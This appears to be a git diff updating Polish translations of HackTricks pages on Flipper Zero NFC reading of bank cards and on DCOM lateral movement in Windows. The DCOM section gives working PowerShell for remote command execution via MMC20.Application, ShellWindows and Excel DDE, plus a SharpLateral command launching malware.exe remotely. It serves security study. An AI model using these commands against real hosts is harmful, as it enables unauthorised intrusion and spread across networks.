* **Odczyt na niskim poziomie** — odczytuje tylko UID, SAK i ATQA. Flipper próbuje zgadnąć protokół na wysokim poziomie na podstawie tych danych odczytanych z karty. Nie można być pewnym w 100%, ponieważ jest to tylko założenie oparte na pewnych czynnikach.
|
||||
* **Odczyt na wysokim poziomie** — odczytuje dane z pamięci karty za pomocą określonego protokołu na wysokim poziomie. Byłoby to odczytywanie danych na Mifare Ultralight, odczytywanie sektorów z Mifare Classic lub odczytywanie atrybutów karty z PayPass/Apple Pay.
|
||||
|
||||
### Odczytaj konkretny
|
||||
### Odczytanie Konkretne
|
||||
|
||||
W przypadku, gdy Flipper Zero nie jest w stanie znaleźć typu karty na podstawie danych na niskim poziomie, w sekcji `Extra Actions` możesz wybrać `Read Specific Card Type` i **ręcznie** **określić typ karty, który chcesz odczytać**.
|
||||
#### Karty bankowe EMV (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
|
||||
W przypadku gdy Flipper Zero nie jest w stanie określić typu karty na podstawie danych na niskim poziomie, w `Dodatkowe Działania` możesz wybrać `Odczytaj Konkretny Typ Karty` i **ręcznie** **określić typ karty, którą chcesz odczytać**.
|
||||
|
||||
Oprócz prostego odczytywania UID, można wyciągnąć znacznie więcej danych z karty bankowej. Możliwe jest **uzyskanie pełnego numeru karty** (16 cyfr na przedniej stronie karty), **daty ważności** oraz w niektórych przypadkach nawet **imię i nazwisko właściciela** wraz z listą **najnowszych transakcji**.\
|
||||
Jednak **nie można odczytać CVV w ten sposób** (3 cyfry na tyle karty). Ponadto **karty bankowe są chronione przed atakami typu replay**, więc skopiowanie jej za pomocą Flippera i próba emulacji do dokonania płatności nie zadziała.
|
||||
#### Karty Bankowe EMV (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
|
||||
|
||||
## Referencje
|
||||
Oprócz zwykłego odczytu UID, można wyciągnąć znacznie więcej danych z karty bankowej. Możliwe jest **uzyskanie pełnego numeru karty** (16 cyfr na przodzie karty), **daty ważności** oraz w niektórych przypadkach nawet **imię właściciela** wraz z listą **najnowszych transakcji**.\
|
||||
Jednakże **nie można w ten sposób odczytać CVV** (3 cyfry na odwrocie karty). Ponadto **karty bankowe są chronione przed atakami typu replay**, więc skopiowanie jej za pomocą Flippera i próba emulacji do zapłacenia czegoś nie zadziała.
|
||||
## Odnośniki
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć **reklamę swojej firmy w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do repozytorium** [**hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,45 +4,37 @@
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post na stronie [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post z [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
|
||||
Rozproszony Model Obiektów Składnikowych (DCOM) oferuje interesujące możliwości interakcji sieciowych z obiektami. Microsoft udostępnia obszerną dokumentację zarówno dla DCOM, jak i dla Modelu Obiektowego Składnikowego (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) i [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:
|
||||
Rozproszony Model Obiektów Składnikowych (DCOM) prezentuje interesującą zdolność do interakcji opartych na sieci z obiektami. Microsoft udostępnia obszerną dokumentację zarówno dla DCOM, jak i dla Modelu Obiektów Składnikowych (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) i [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
Obiekt COM, [Klasa aplikacji MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), umożliwia skryptowanie operacji wtyczek MMC. Warto zauważyć, że ten obiekt zawiera metodę `ExecuteShellCommand` w ramach `Document.ActiveView`. Więcej informacji na temat tej metody można znaleźć [tutaj](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Sprawdź to uruchamiając:
|
||||
Obiekt COM, [Klasa Aplikacji MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), umożliwia skryptowanie operacji wtyczek MMC. Warto zauważyć, że ten obiekt zawiera metodę `ExecuteShellCommand` w `Document.ActiveView`. Więcej informacji na temat tej metody można znaleźć [tutaj](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Sprawdź działanie:
|
||||
|
||||
Ta funkcja ułatwia wykonywanie poleceń przez sieć za pośrednictwem aplikacji DCOM. Aby zdalnie korzystać z DCOM jako administrator, można użyć PowerShella w następujący sposób:
|
||||
Ta funkcja ułatwia wykonywanie poleceń przez sieć za pośrednictwem aplikacji DCOM. Aby zdalnie korzystać z DCOM jako administrator, można użyć PowerShell w następujący sposób:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
Ten polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana, aby uruchomić proces na zdalnym hoście. Proces obejmuje następujące kroki:
|
||||
To polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana, aby uruchomić proces na zdalnym hoście. Proces obejmuje następujące kroki:
|
||||
|
||||
Sprawdź metody:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
Uzyskaj zdalne wykonanie kodu (RCE):
|
||||
Zdobądź zdalne wykonanie kodu (RCE):
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
@ -55,25 +47,25 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
Zidentyfikowano obiekt **MMC20.Application**, który nie ma jawnie zdefiniowanych "LaunchPermissions" i domyślnie ma uprawnienia umożliwiające dostęp administratorom. Aby uzyskać więcej szczegółów, można przejrzeć wątek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a zaleca się korzystanie z narzędzia [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET do filtrowania obiektów bez jawnie zdefiniowanych uprawnień uruchamiania.
|
||||
Obiekt **MMC20.Application** został zidentyfikowany jako pozbawiony jawnego "LaunchPermissions", domyślnie przyznającego dostęp administratorom. Aby uzyskać więcej szczegółów, można prześledzić wątek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a zaleca się korzystanie z narzędzia [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET do filtrowania obiektów bez jawnego uprawnienia uruchamiania.
|
||||
|
||||
Wskazano dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, które nie mają jawnie zdefiniowanych uprawnień uruchamiania. Brak wpisu `LaunchPermission` w rejestrze pod ścieżką `HKCR:\AppID\{guid}` oznacza brak jawnie zdefiniowanych uprawnień.
|
||||
Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zostały wyróżnione ze względu na brak jawnego uprawnienia uruchamiania. Brak wpisu rejestru `LaunchPermission` pod `HKCR:\AppID\{guid}` oznacza brak jawnego uprawnienia.
|
||||
|
||||
### ShellWindows
|
||||
Dla obiektu `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają tworzenie obiektu za pomocą jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po utworzeniu obiektu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywoływania metod, takich jak `Document.Application.ShellExecute`.
|
||||
Dla `ShellWindows`, które nie mają ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu za pomocą jego AppID. Ten proces wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po zainstancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywoływania metod takich jak `Document.Application.ShellExecute`.
|
||||
|
||||
Przedstawiono przykładowe polecenia PowerShell do utworzenia obiektu i zdalnego wykonania poleceń:
|
||||
Przykładowe polecenia PowerShell zostały podane do instancjonowania obiektu i zdalnego wykonywania poleceń:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
$item = $obj.Item()
|
||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||
```
|
||||
### Przemieszczanie się po bokach za pomocą obiektów DCOM Excel
|
||||
### Ruch boczny za pomocą obiektów DCOM Excel
|
||||
|
||||
Przemieszczanie się po bokach można osiągnąć, wykorzystując obiekty DCOM Excel. Aby uzyskać szczegółowe informacje, zaleca się zapoznanie się z dyskusją na temat wykorzystania DDE Excela do przemieszczania się po bokach za pośrednictwem DCOM na [blogu Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
Ruch boczny można osiągnąć, wykorzystując obiekty DCOM Excel. Aby uzyskać szczegółowe informacje, zaleca się przeczytanie dyskusji na temat wykorzystania Excel DDE do ruchu bocznego za pośrednictwem DCOM na [blogu Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
Projekt Empire udostępnia skrypt PowerShell, który demonstruje wykorzystanie Excela do zdalnego wykonania kodu (RCE) poprzez manipulację obiektami DCOM. Poniżej znajdują się fragmenty skryptu dostępne w [repozytorium GitHub Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), prezentujące różne metody nadużywania Excela do RCE:
|
||||
Projekt Empire udostępnia skrypt PowerShell, który demonstruje wykorzystanie Excel do zdalnego wykonania kodu (RCE) poprzez manipulowanie obiektami DCOM. Poniżej znajdują się fragmenty skryptu dostępnego w [repozytorium GitHub Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), prezentujące różne metody nadużywania Excel do RCE:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -96,11 +88,11 @@ $Obj.DisplayAlerts = $false
|
|||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
```
|
||||
### Narzędzia automatyzujące ruch boczny
|
||||
### Narzędzia automatyzacji do ruchu bocznego
|
||||
|
||||
Wyróżnia się dwa narzędzia do automatyzacji tych technik:
|
||||
Dwa narzędzia są wyróżnione do automatyzacji tych technik:
|
||||
|
||||
- **Invoke-DCOM.ps1**: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod wykonania kodu na zdalnych maszynach. Ten skrypt jest dostępny w repozytorium GitHub projektu Empire.
|
||||
- **Invoke-DCOM.ps1**: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod wykonania kodu na zdalnych maszynach. Ten skrypt jest dostępny w repozytorium GitHub Empire.
|
||||
|
||||
- **SharpLateral**: Narzędzie przeznaczone do zdalnego wykonywania kodu, które można użyć za pomocą polecenia:
|
||||
```bash
|
||||
|
@ -108,32 +100,26 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
```
|
||||
## Narzędzia automatyczne
|
||||
|
||||
* Skrypt Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) umożliwia łatwe wywoływanie wszystkich skomentowanych sposobów wykonywania kodu na innych maszynach.
|
||||
* Skrypt Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) umożliwia łatwe wywołanie wszystkich zakomentowanych sposobów wykonania kodu na innych maszynach.
|
||||
* Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## Odwołania
|
||||
## Odnośniki
|
||||
|
||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi Twoją powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue